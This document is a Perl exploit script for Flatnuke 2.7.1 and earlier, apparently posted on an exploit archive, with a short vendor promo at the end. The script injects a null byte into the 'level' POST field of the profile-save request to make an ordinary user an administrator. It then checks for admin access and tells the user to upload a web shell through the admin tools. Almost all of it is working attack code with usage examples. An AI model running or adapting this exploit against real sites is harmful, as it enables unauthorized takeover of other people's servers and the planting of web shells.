=============================================================
Flatnuke <= 2.7.1 (level) Remote Privilege Escalation Exploit
=============================================================
#!/usr/bin/env perl
#
# Flatnuke <= 2.7.1 (level) Privilege Escalation 0-day Exploit
#
# Description
# -----------
# Flatnuke contains one flaw that may allow a user to become administrator.
# The issue is due to 'sections/none_Login/section.php' script not properly
# sanitizing user input supplied to the "level" POST variable. GPC = Off
# Change your rights using the null byte. Dork? Find it yourself.
# -----------
#
# Usage/Example
# -------------
# perl flatnuke.pl host /path username secid
# perl flatnuke.pl localhost /flatnuke yeat 1ab8c9b8d33a4a4e1001d07af5565d22
# -------------
use LWP::UserAgent;
use IO::Socket;
our ($host,$path,$user,$secid) = @ARGV;
if (@ARGV != 4) {
print "Flatnuke <= 2.7.1 (level) Privilege Escalation 0-day Exploit\n";
Usage::Exploit();
}
else {
Flatnuke::Exploit();
}
sub Flatnuke::Exploit()
{
my ($ret,$lwp);
$lwp = new LWP::UserAgent;
$lwp->timeout(5);
$lwp->agent('Links (2.1pre26; Linux 2.6.19-gentoo-r5 x86_64; x)');
$lwp->default_header('Cookie' => "myforum=$user; path=$path; secid=$secid; path=$path;");
$ret = $lwp->post("http://$host/$path/index.php?mod=none_Login",
[
action => 'saveprofile',
user => $user,
hiddenmail => 'on',
ava => 'blank.png',
level => "\x0010",
]);
if ($ret->is_success) {
Flatnuke::Rights();
}
}
sub Flatnuke::Rights()
{
my $packet;
my $result;
my $socket = new IO::Socket::INET(
PeerAddr => $host,
PeerPort => 80,
Proto => 'tcp',
) or die $!;
$packet .= "GET /$path/index.php?mod=none_Admin HTTP/1.1\r\n";
$packet .= "Host: $host\r\n";
$packet .= "User-Agent: Lynx (textmode)\r\n";
$packet .= "Referer: http://$host/$path/index.php?mod=none_Admin\r\n";
$packet .= "Cookie: myforum=$user; path=$path; secid=$secid; path=$path;\r\n";
$packet .= "Connection: close\r\n\r\n";
$socket->send($packet);
while (<$socket>) {
$result .= $_;
}
if ($result =~ /(livello|nivel|level|niveau) 10/i) {
print "Exploit successful..you're admin\n";
print "Upload a shell on: sections/none_Admin/none_tools/webadmin.php\n";
}
else {
print "Exploit unsuccesful..\n";
}
}
sub Usage::Exploit()
{
print "Usage: perl $0 host/path username secid\n";
print "RunEx: perl localhost /flatnuke yeat c3e557f271a86f893e02971b38b51653\n";
print "by staker[at]hotmail[dot]it\n";
exit;
}
# 0day.today [2018-01-01] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation